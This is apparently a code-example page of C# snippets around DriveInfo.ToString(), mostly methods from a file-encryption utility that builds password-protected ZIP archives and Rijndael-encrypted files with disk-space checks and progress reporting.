                        e.Result = new FileEncryptReturnVal(NO_DISK_SPACE, drive.ToString(), _TotalFileSize, drive.AvailableFreeSpace);
                        return(false);
                    }
                    break;
                }
            }

            try
            {
                //----------------------------------------------------------------------
                // Start to create zip file
                //----------------------------------------------------------------------
                using (FileStream outfs = File.Open(OutFilePath, FileMode.Create, FileAccess.ReadWrite))
                {
                    using (var zip = new ZipOutputStream(outfs))
                    {
                        zip.AlternateEncoding = System.Text.Encoding.GetEncoding("shift_jis");
                        //zip.AlternateEncoding = System.Text.Encoding.UTF8;
                        zip.AlternateEncodingUsage = Ionic.Zip.ZipOption.Always;

                        // Password
                        zip.Password = Password;

                        // Encryption Algorithm
                        switch (AppSettings.Instance.ZipEncryptionAlgorithm)
                        {
                        case ENCRYPTION_ALGORITHM_PKZIPWEAK:
                            zip.Encryption = EncryptionAlgorithm.PkzipWeak;
                            break;

                        case ENCRYPTION_ALGORITHM_WINZIPAES128:
                            zip.Encryption = EncryptionAlgorithm.WinZipAes128;
                            break;

                        case ENCRYPTION_ALGORITHM_WINZIPAES256:
                            zip.Encryption = EncryptionAlgorithm.WinZipAes256;
                            break;
                        }

                        // Compression level
                        switch (AppSettings.Instance.CompressRate)
                        {
                        case 0:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.None;
                            break;

                        case 1:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestSpeed;
                            break;

                        case 2:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level2;
                            break;

                        case 3:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level3;
                            break;

                        case 4:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level4;
                            break;

                        case 5:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level5;
                            break;

                        case 6:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Default;
                            break;

                        case 7:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level7;
                            break;

                        case 8:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.Level8;
                            break;

                        case 9:
                            zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                            break;

                        default:
                            break;
                        }

                        string    ParentPath;
                        ArrayList FileInfoList = new ArrayList();

                        //----------------------------------------------------------------------
                        // Put together files in one ( Save as the name ).
                        // 複数ファイルを一つにまとめる(ファイルに名前をつけて保存)
                        if (NewArchiveName != "")
                        {
                            ParentPath = NewArchiveName + "\\";
                        }

                        //----------------------------------------------------------------------
                        // When encrypt multiple files
                        // 複数のファイルを暗号化する場合
                        foreach (string FilePath in FilePaths)
                        {
                            ParentPath = Path.GetDirectoryName(FilePath) + "\\";

                            if ((worker.CancellationPending == true))
                            {
                                e.Cancel = true;
                                return(false);
                            }

                            //----------------------------------------------------------------------
                            // 暗号化リストを生成(ファイル)
                            // Create file to encrypt list ( File )
                            //----------------------------------------------------------------------
                            if (File.Exists(FilePath) == true)
                            {
                                ArrayList Item = GetFileInfo(ParentPath, FilePath);
                                FileInfoList.Add(Item);
                                //Item[0]       // TypeFlag ( Directory: 0, file: 1 )
                                //Item[1]       // Absolute file path
                                //Item[2]       // Relative file path
                                //Item[3]       // File size

                                // files only
                                if ((int)Item[0] == 1)
                                {
                                    _TotalFileSize += Convert.ToInt64(Item[3]);
                                    _FileList.Add((string)Item[1]);
                                }
                            }
                            //----------------------------------------------------------------------
                            // 暗号化リストを生成(ディレクトリ)
                            // Create file to encrypt list ( Directory )
                            //----------------------------------------------------------------------
                            else
                            {
                                // Directory
                                foreach (ArrayList Item in GetFileList(ParentPath, FilePath))
                                {
                                    if ((worker.CancellationPending == true))
                                    {
                                        e.Cancel = true;
                                        return(false);
                                    }

                                    if (NewArchiveName != "")
                                    {
                                        Item[2] = NewArchiveName + "\\" + Item[2] + "\\";
                                    }

                                    FileInfoList.Add(Item);

                                    if (Convert.ToInt32(Item[0]) == 1)
                                    {                                               // files only
                                        _TotalFileSize += Convert.ToInt64(Item[3]); // File size
                                    }

                                    _FileList.Add((string)Item[1]);
                                } // end foreach (ArrayList Item in GetFilesList(ParentPath, FilePath));
                            }     // if (File.Exists(FilePath) == true);
                        }         // end foreach (string FilePath in FilePaths);

#if (DEBUG)
                        string DeskTopPath  = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
                        string TempFilePath = Path.Combine(DeskTopPath, "zip_encrypt.txt");
                        using (StreamWriter sw = new StreamWriter(TempFilePath, false, System.Text.Encoding.UTF8))
                        {
                            foreach (ArrayList Item in FileInfoList)
                            {
                                string OneLine = Item[0] + "\t" + Item[1] + "\t" + Item[2] + "\t" + Item[3] + "\n";
                                sw.Write(OneLine);
                            }
                        }
#endif
                        _NumberOfFiles      = 0;
                        _TotalNumberOfFiles = FileInfoList.Count;
                        string    MessageText = "";
                        ArrayList MessageList = new ArrayList();
                        float     percent;

                        foreach (ArrayList Item in FileInfoList)
                        {
                            //Item[0]       // TypeFlag ( Directory: 0, file: 1 )
                            //Item[1]       // Absolute file path
                            //Item[2]       // Relative file path
                            //Item[3]       // File size
                            zip.PutNextEntry((string)Item[2]);
                            _NumberOfFiles++;

                            //-----------------------------------
                            // Directory
                            if ((int)Item[0] == 0)
                            {
                                if (_TotalNumberOfFiles > 1)
                                {
                                    MessageText = (string)Item[1] + " ( " + _NumberOfFiles.ToString() + " / " + _TotalNumberOfFiles.ToString() + " )";
                                }
                                else
                                {
                                    MessageText = (string)Item[1];
                                }

                                percent     = ((float)_TotalSize / _TotalFileSize);
                                MessageList = new ArrayList();
                                MessageList.Add(ENCRYPTING);
                                MessageList.Add(MessageText);
                                worker.ReportProgress((int)(percent * 10000), MessageList);

                                if (worker.CancellationPending == true)
                                {
                                    e.Cancel = true;
                                    return(false);
                                }
                            }
                            else
                            {
                                //-----------------------------------
                                // File
                                using (FileStream fs = File.Open((string)Item[1], FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write))
                                {
                                    byte[] buffer = new byte[BUFFER_SIZE];
                                    int    len;

                                    while ((len = fs.Read(buffer, 0, buffer.Length)) > 0)
                                    {
                                        zip.Write(buffer, 0, len);

                                        if (_TotalNumberOfFiles > 1)
                                        {
                                            MessageText = (string)Item[1] + " ( " + _NumberOfFiles.ToString() + " / " + _TotalNumberOfFiles.ToString() + " )";
                                        }
                                        else
                                        {
                                            MessageText = (string)Item[1];
                                        }

                                        _TotalSize += len;
                                        percent     = ((float)_TotalSize / _TotalFileSize);
                                        MessageList = new ArrayList();
                                        MessageList.Add(ENCRYPTING);
                                        MessageList.Add(MessageText);
                                        System.Random r = new System.Random();
                                        if (r.Next(0, 20) == 4)
                                        {
                                            worker.ReportProgress((int)(percent * 10000), MessageList);
                                        }

                                        if (worker.CancellationPending == true)
                                        {
                                            e.Cancel = true;
                                            return(false);
                                        }
                                    } // end while ((len = fs.Read(buffer, 0, buffer.Length)) > 0);
                                }     // end using (FileStream fs = File.Open((string)Item[1], FileMode.Open, FileAccess.Read, FileShare.Read | FileShare.Write));
                            }         // end if ((int)Item[0] == 0);
                        }             // end foreach (ArrayList Item in FileInfoList);
                    }                 // using (var zip = new ZipOutputStream(outfs));
                }                     // end using (FileStream outfs = File.Open(OutFilePath, FileMode.Create, FileAccess.ReadWrite));

                //Encryption succeed.
                e.Result = new FileEncryptReturnVal(ENCRYPT_SUCCEEDED);
                return(true);
            }
            catch (UnauthorizedAccessException)
            {
                //The exception that is thrown when the operating system denies access because of an I/O error or a specific type of security error.
                e.Result = new FileEncryptReturnVal(OS_DENIES_ACCESS);
                return(false);
            }
            catch (Exception ex)
            {
                System.Windows.Forms.MessageBox.Show(ex.Message);
                e.Result = new FileEncryptReturnVal(ERROR_UNEXPECTED);
                return(false);
            }
        }
Example #30
0
        /// <summary>
        /// Multiple files or directories is encrypted by AES (exactly Rijndael) to use password string.
        /// 複数のファイル、またはディレクトリをAES(正確にはRijndael)を使って指定のパスワードで暗号化する
        /// </summary>
        /// <param name="FilePath">File path or directory path is encrypted</param>
        /// <param name="OutFilePath">Output encryption file name</param>
        /// <param name="Password">Encription password string</param>
        /// <returns>Encryption success(true) or failed(false)</returns>
        public bool Encrypt(
            object sender, DoWorkEventArgs e,
            string[] FilePaths, string OutFilePath,
            string Password, byte[] PasswordBinary,
            string NewArchiveName)
        {
            _AtcFilePath = OutFilePath;

            BackgroundWorker worker = sender as BackgroundWorker;

            // The timestamp of original file
            DateTime dtCreate = File.GetCreationTime(FilePaths[0]);
            DateTime dtUpdate = File.GetLastWriteTime(FilePaths[0]);
            DateTime dtAccess = File.GetLastAccessTime(FilePaths[0]);

            // Create Header data.
            ArrayList MessageList = new ArrayList();

            MessageList.Add(READY_FOR_ENCRYPT);
            MessageList.Add(Path.GetFileName(OutFilePath));
            worker.ReportProgress(0, MessageList);

            _FileList = new List <string>();
            byte[] byteArray = null;

            // Salt
            Rfc2898DeriveBytes deriveBytes;

            if (PasswordBinary == null)
            { // String Password
                deriveBytes = new Rfc2898DeriveBytes(Password, 8, 1000);
            }
            else
            { // Binary Password
                byte[] random_salt           = new byte[8];
                RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
                rng.GetBytes(random_salt);
                deriveBytes = new Rfc2898DeriveBytes(PasswordBinary, random_salt, 1000);
            }
            byte[] salt = deriveBytes.Salt;
            byte[] key  = deriveBytes.GetBytes(32);
            byte[] iv   = deriveBytes.GetBytes(32);

            try
            {
                using (FileStream outfs = new FileStream(OutFilePath, FileMode.Create, FileAccess.Write))
                {
                    // 自己実行形式ファイル(Self-executable file)
                    if (_fExecutable == true)
                    {
                        ExeOutFileSize = rawData.Length;
                        outfs.Write(rawData, 0, (int)ExeOutFileSize);
                    }

                    _StartPos = outfs.Seek(0, SeekOrigin.End);

                    // Application version
                    Version ver    = ApplicationInfo.Version;
                    short   vernum = Int16.Parse(ver.ToString().Replace(".", ""));
                    byteArray = BitConverter.GetBytes(vernum);
                    outfs.Write(byteArray, 0, 2);
                    // Input password limit
                    byteArray = BitConverter.GetBytes(_MissTypeLimits);
                    outfs.Write(byteArray, 0, 1);
                    // Exceed the password input limit, destroy the file?
                    byteArray = BitConverter.GetBytes(fBrocken);
                    outfs.Write(byteArray, 0, 1);
                    // Token that this is the AttacheCase file
                    byteArray = Encoding.ASCII.GetBytes(STRING_TOKEN_NORMAL);
                    outfs.Write(byteArray, 0, 16);
                    // File sub version
                    byteArray = BitConverter.GetBytes(DATA_FILE_VERSION);
                    outfs.Write(byteArray, 0, 4);
                    // The size of encrypted Atc header size ( reserved )
                    byteArray = BitConverter.GetBytes((int)0);
                    outfs.Write(byteArray, 0, 4);
                    // Salt
                    outfs.Write(salt, 0, 8);

                    // Cipher text header.
                    using (MemoryStream ms = new MemoryStream())
                    {
                        byteArray = Encoding.ASCII.GetBytes(AtC_ENCRYPTED_TOKEN + "\n");
                        ms.Write(byteArray, 0, byteArray.Length);

                        int       FileNumber = 0;
                        string    ParentPath;
                        ArrayList FileInfoList = new ArrayList();

                        //----------------------------------------------------------------------
                        // Put together files in one ( Save as the name ).
                        // 複数ファイルを一つにまとめる(ファイルに名前をつけて保存)
                        if (NewArchiveName != "")
                        {
                            NewArchiveName = NewArchiveName + "\\";

                            // Now time
                            DateTime dtNow = new DateTime();
                            FileInfoList.Add("0:" +                                                        // File number
                                             NewArchiveName + "\t" +                                       // File name
                                             "0" + "\t" +                                                  // File size
                                             "16" + "\t" +                                                 // File attribute
                                             dtNow.Date.Subtract(new DateTime(1, 1, 1)).TotalDays + "\t" + // Last write date
                                             dtNow.TimeOfDay.TotalSeconds + "\t" +                         // Last write time
                                             dtNow.Date.Subtract(new DateTime(1, 1, 1)).TotalDays + "\t" + // Creation date
                                             dtNow.TimeOfDay.TotalSeconds + "\t" +                         // Creation time
                                             "" + "\t" +
                                                                                                           // ver.3.2.3.0 ~
                                             DateTime.UtcNow.ToString() + "\t" +
                                             DateTime.UtcNow.ToString());
                            FileNumber++;
                        }

                        //----------------------------------------------------------------------
                        // When encrypt multiple files
                        // 複数のファイルを暗号化する場合
                        foreach (string FilePath in FilePaths)
                        {
                            ParentPath = Path.GetDirectoryName(FilePath);

                            if (ParentPath.EndsWith("\\") == false) // In case of 'C:\\' root direcroy.
                            {
                                ParentPath = ParentPath + "\\";
                            }

                            if ((worker.CancellationPending == true))
                            {
                                e.Cancel = true;
                                return(false);
                            }

                            //----------------------------------------------------------------------
                            // 暗号化リストを生成(ファイル)
                            // Create file to encrypt list ( File )
                            //----------------------------------------------------------------------
                            if (File.Exists(FilePath) == true)
                            {
                                ArrayList Item = GetFileInfo(ParentPath, FilePath);
                                FileInfoList.Add(FileNumber.ToString() + ":" +     // File number
                                                                                   //Item[0] + "\t" +           // TypeFlag ( Directory: 0, file: 1 )
                                                                                   //Item[1] + "\t" +           // Absolute file path
                                                 NewArchiveName + Item[2] + "\t" + // Relative file path
                                                 Item[3].ToString() + "\t" +       // File size
                                                 Item[4].ToString() + "\t" +       // File attribute
                                                 Item[5].ToString() + "\t" +       // Last write date
                                                 Item[6].ToString() + "\t" +       // Last write time
                                                 Item[7].ToString() + "\t" +       // Creation date
                                                 Item[8].ToString() + "\t" +       // Creation time
                                                 Item[9].ToString() + "\t" +       // SHA-256 Hash string
                                                                                   // ver.3.2.3.0 ~
                                                 Item[10].ToString() + "\t" +      // Last write date time(UTC)
                                                 Item[11].ToString());             // Creation date time(UTC)

                                // files only
                                if (Convert.ToInt32(Item[0]) == 1)
                                {
                                    // Files list for encryption
                                    _FileList.Add(Item[1].ToString()); // Absolute file path
                                                                       // Total file size
                                    _TotalFileSize += Convert.ToInt64(Item[3]);
                                }

                                FileNumber++;
                            }
                            //----------------------------------------------------------------------
                            // 暗号化リストを生成(ディレクトリ)
                            // Create file to encrypt list ( Directory )
                            //----------------------------------------------------------------------
                            else
                            {
                                // Directory
                                _FileList.Add(FilePath); // Absolute file path

                                foreach (ArrayList Item in GetFileList(ParentPath, FilePath))
                                {
                                    if ((worker.CancellationPending == true))
                                    {
                                        e.Cancel = true;
                                        return(false);
                                    }

                                    if (NewArchiveName != "")
                                    {
                                        Item[2] = NewArchiveName + "\\" + Item[2];
                                    }

                                    if ((int)Item[0] == 0)
                                    {                                                      // Directory
                                        FileInfoList.Add(FileNumber.ToString() + ":" +     // File number
                                                         NewArchiveName + Item[2] + "\t" + // Relative file path
                                                         Item[3].ToString() + "\t" +       // File size
                                                         Item[4].ToString() + "\t" +       // File attribute
                                                         Item[5].ToString() + "\t" +       // Last write date
                                                         Item[6].ToString() + "\t" +       // Last write time
                                                         Item[7].ToString() + "\t" +       // Creation date
                                                         Item[8].ToString() + "\t" +       // Creation time
                                                         "" + "\t" +
                                                                                           // ver.3.2.3.0 ~
                                                         Item[10].ToString() + "\t" +      // Last write date time(UTC)
                                                         Item[11].ToString());             // Creation date date time(UTC)
                                    }
                                    else
                                    {                                                      // File
                                        FileInfoList.Add(FileNumber.ToString() + ":" +     // File number
                                                         NewArchiveName + Item[2] + "\t" + // Relative file path
                                                         Item[3].ToString() + "\t" +       // File size
                                                         Item[4].ToString() + "\t" +       // File attribute
                                                         Item[5].ToString() + "\t" +       // Last write date
                                                         Item[6].ToString() + "\t" +       // Last write time
                                                         Item[7].ToString() + "\t" +       // Creation date
                                                         Item[8].ToString() + "\t" +       // Creation time
                                                         Item[9].ToString() + "\t" +       // SHA-256 hash
                                                                                           // ver.3.2.3.0 ~
                                                         Item[10].ToString() + "\t" +      // Last write date time(UTC)
                                                         Item[11].ToString());             // Creation date date time(UTC)
                                    }

                                    if (Convert.ToInt32(Item[0]) == 1)
                                    {                                      // files only
                                      // Files list for encryption
                                        _FileList.Add(Item[1].ToString()); // Absolute file path
                                                                           // Total file size
                                        _TotalFileSize += Convert.ToInt64(Item[3]);
                                    }
                                    else
                                    {                                      // Directory
                                        _FileList.Add(Item[1].ToString()); // Absolute file path
                                    }

                                    FileNumber++;
                                } // end foreach (ArrayList Item in GetFilesList(ParentPath, FilePath));
                            }     // if (File.Exists(FilePath) == true);
                        }         // end foreach (string FilePath in FilePaths);

                        //----------------------------------------------------------------------
                        // Check the disk space
                        //----------------------------------------------------------------------
                        string RootDriveLetter = Path.GetPathRoot(OutFilePath).Substring(0, 1);

                        if (RootDriveLetter == "\\")
                        {
                            // Network
                        }
                        else
                        {
                            DriveInfo drive = new DriveInfo(RootDriveLetter);

                            DriveType driveType = drive.DriveType;
                            switch (driveType)
                            {
                            case DriveType.CDRom:
                            case DriveType.NoRootDirectory:
                            case DriveType.Unknown:
                                break;

                            case DriveType.Fixed:     // Local Drive
                            case DriveType.Network:   // Mapped Drive
                            case DriveType.Ram:       // Ram Drive
                            case DriveType.Removable: // Usually a USB Drive

                                // The drive is not available, or not enough free space.
                                if (drive.IsReady == false || drive.AvailableFreeSpace < _TotalFileSize)
                                {
                                    // not available free space
                                    e.Result = new FileEncryptReturnVal(NO_DISK_SPACE, drive.ToString(), _TotalFileSize, drive.AvailableFreeSpace);
                                    return(false);
                                }
                                break;
                            }
                        }

                        //----------------------------------------------------------------------
                        // Create header data

                        string[] FileInfoText = (string[])FileInfoList.ToArray(typeof(string));

                        byteArray = Encoding.UTF8.GetBytes(string.Join("\n", FileInfoText));
                        ms.Write(byteArray, 0, byteArray.Length);

#if (DEBUG)
                        //Output text file of header contents for debug.
                        Int64 NowPosition = ms.Position;
                        ms.Position = 0;
                        //Save to Desktop folder.
                        string AppDirPath         = Path.GetDirectoryName(System.Windows.Forms.Application.ExecutablePath);
                        string HeaderTextFilePath = Path.Combine(AppDirPath, "encrypt_header.txt");
                        using (FileStream fsDebug = new FileStream(HeaderTextFilePath, FileMode.Create, FileAccess.Write))
                        {
                            ms.WriteTo(fsDebug);
                            ms.Position = NowPosition;
                        }
#endif
                        // The Header of MemoryStream is encrypted
                        using (Rijndael aes = new RijndaelManaged())
                        {
                            aes.BlockSize = 256;            // BlockSize = 16bytes
                            aes.KeySize   = 256;            // KeySize = 16bytes
                            aes.Mode      = CipherMode.CBC; // CBC mode
                                                            //aes.Padding = PaddingMode.Zeros;  // Padding mode is "None".

                            aes.Key = key;
                            aes.IV  = iv;

                            ms.Position = 0;
                            //Encryption interface.
                            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
                            using (CryptoStream cse = new CryptoStream(outfs, encryptor, CryptoStreamMode.Write))
                            {
                                //----------------------------------------------------------------------
                                // ヘッダーの暗号化
                                //----------------------------------------------------------------------
                                int len = 0;
                                _AtcHeaderSize = 0; // exclude IV of header
                                buffer         = new byte[BUFFER_SIZE];
                                while ((len = ms.Read(buffer, 0, BUFFER_SIZE)) > 0)
                                {
                                    cse.Write(buffer, 0, len);
                                    _AtcHeaderSize += len;
                                }
                            }
                        } // end using (Rijndael aes = new RijndaelManaged());
                    }     // end  using (MemoryStream ms = new MemoryStream());
                }         // end using (FileStream outfs = new FileStream(OutFilePath, FileMode.Create, FileAccess.Write));


                //----------------------------------------------------------------------
                // 本体データの暗号化
                //----------------------------------------------------------------------
                using (FileStream outfs = new FileStream(OutFilePath, FileMode.OpenOrCreate, FileAccess.Write))
                {
                    byteArray = new byte[4];
                    // Back to current positon of 'encrypted file size'
                    if (_fExecutable == true)
                    {
                        outfs.Seek(ExeOutFileSize + 24, SeekOrigin.Begin); // self executable file
                    }
                    else
                    {
                        outfs.Seek(24, SeekOrigin.Begin);
                    }

                    byteArray = BitConverter.GetBytes(_AtcHeaderSize);
                    outfs.Write(byteArray, 0, 4);

                    // Out file stream postion move to end
                    outfs.Seek(0, SeekOrigin.End);

                    // The Header of MemoryStream is encrypted
                    using (Rijndael aes = new RijndaelManaged())
                    {
                        aes.BlockSize = 256;               // BlockSize = 16bytes
                        aes.KeySize   = 256;               // KeySize = 16bytes
                        aes.Mode      = CipherMode.CBC;    // CBC mode
                        aes.Padding   = PaddingMode.Zeros; // Padding mode

                        aes.Key = key;
                        aes.IV  = iv;

                        // Encryption interface.
                        ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
                        using (CryptoStream cse = new CryptoStream(outfs, encryptor, CryptoStreamMode.Write))
                        {
                            Ionic.Zlib.CompressionLevel flv = Ionic.Zlib.CompressionLevel.Default;
                            switch (AppSettings.Instance.CompressRate)
                            {
                            case 0:
                                flv = Ionic.Zlib.CompressionLevel.Level0;
                                break;

                            case 1:
                                flv = Ionic.Zlib.CompressionLevel.Level1;
                                break;

                            case 2:
                                flv = Ionic.Zlib.CompressionLevel.Level2;
                                break;

                            case 3:
                                flv = Ionic.Zlib.CompressionLevel.Level3;
                                break;

                            case 4:
                                flv = Ionic.Zlib.CompressionLevel.Level4;
                                break;

                            case 5:
                                flv = Ionic.Zlib.CompressionLevel.Level5;
                                break;

                            case 6:
                                flv = Ionic.Zlib.CompressionLevel.Level6;
                                break;

                            case 7:
                                flv = Ionic.Zlib.CompressionLevel.Level7;
                                break;

                            case 8:
                                flv = Ionic.Zlib.CompressionLevel.Level8;
                                break;

                            case 9:
                                flv = Ionic.Zlib.CompressionLevel.Level9;
                                break;
                            }

                            using (Ionic.Zlib.DeflateStream ds = new Ionic.Zlib.DeflateStream(cse, Ionic.Zlib.CompressionMode.Compress, flv))
                            {
                                int len = 0;
                                foreach (string path in _FileList)
                                {
                                    // Only file is encrypted
                                    if (File.Exists(path) == true)
                                    {
                                        try
                                        {
                                            buffer = new byte[BUFFER_SIZE];
                                            using (FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read))
                                            {
                                                len = 0;
                                                while ((len = fs.Read(buffer, 0, BUFFER_SIZE)) > 0)
                                                {
                                                    ds.Write(buffer, 0, len);
                                                    _TotalSize += len;

                                                    string MessageText = "";
                                                    if (_TotalNumberOfFiles > 1)
                                                    {
                                                        MessageText = path + " ( " + _NumberOfFiles.ToString() + " / " + _TotalNumberOfFiles.ToString() + " files )";
                                                    }
                                                    else
                                                    {
                                                        MessageText = path;
                                                    }
                                                    float percent = ((float)_TotalSize / _TotalFileSize);
                                                    MessageList = new ArrayList();
                                                    MessageList.Add(ENCRYPTING);
                                                    MessageList.Add(MessageText);
                                                    worker.ReportProgress((int)(percent * 10000), MessageList);

                                                    if (worker.CancellationPending == true)
                                                    {
                                                        fs.Dispose();
                                                        e.Cancel = true;
                                                        return(false);
                                                    }
                                                }
                                            }
                                        }
                                        catch (Exception ex)
                                        {
                                            System.Windows.Forms.MessageBox.Show(ex.Message.ToString());
                                            e.Result = new FileEncryptReturnVal(ERROR_UNEXPECTED);
                                            return(false);
                                        }
                                    } // end if (File.Exists(path) == true);
                                }     // end foreach (string path in _FileList);

                                /*
                                 * for (int i = 0; i < 10; i++)
                                 * {
                                 * Random r = new Random();
                                 * byteArray = new byte[BUFFER_SIZE];
                                 * r.NextBytes(byteArray);
                                 * cse.Write(buffer, 0, BUFFER_SIZE);
                                 * }
                                 */
                            } // end using ( Ionic.Zlib.DeflateStream ds);
                        }     // end using (CryptoStream cse);
                    }         // end using (Rijndael aes = new RijndaelManaged());
                }             // end using (FileStream outfs = new FileStream(OutFilePath, FileMode.Create, FileAccess.Write));

                // Set the timestamp of encryption file to original files or directories
                if (_fKeepTimeStamp == true)
                {
                    File.SetCreationTime(OutFilePath, dtCreate);
                    File.SetLastWriteTime(OutFilePath, dtUpdate);
                    File.SetLastAccessTime(OutFilePath, dtAccess);
                }
                else
                {
                    dtUpdate = DateTime.Now;
                    File.SetLastWriteTime(OutFilePath, dtUpdate);
                }

                //Encryption succeed.
                e.Result = new FileEncryptReturnVal(ENCRYPT_SUCCEEDED);
                return(true);
            }
            catch (UnauthorizedAccessException)
            {
                //The exception that is thrown when the operating system denies access because of an I/O error or a specific type of security error.
                e.Result = new FileEncryptReturnVal(OS_DENIES_ACCESS);
                return(false);
            }
            catch (Exception ex)
            {
                System.Windows.Forms.MessageBox.Show(ex.Message);
                e.Result = new FileEncryptReturnVal(ERROR_UNEXPECTED);
                return(false);
            }
        } // encrypt();
Example #31
0
 public override string ToString() => _instance.ToString();
Example #32
0
 public override string ToString()
 {
     return(instance.ToString());
 }
Example #33
0
 public override string ToString()
 {
     return(_driveInfo.ToString());
 }
        /// <summary>
        /// Generates <see cref="TreeViewItem"/> for drive info.
        /// </summary>
        /// <param name="drive"></param>
        /// <returns></returns>
        private static TreeViewItem GenerateDriveNode(DriveInfo drive)
        {
            var item = new TreeViewItem
            {
                Tag = drive,
                Header = drive.ToString()
            };

            item.Items.Add("*");
            return item;
        }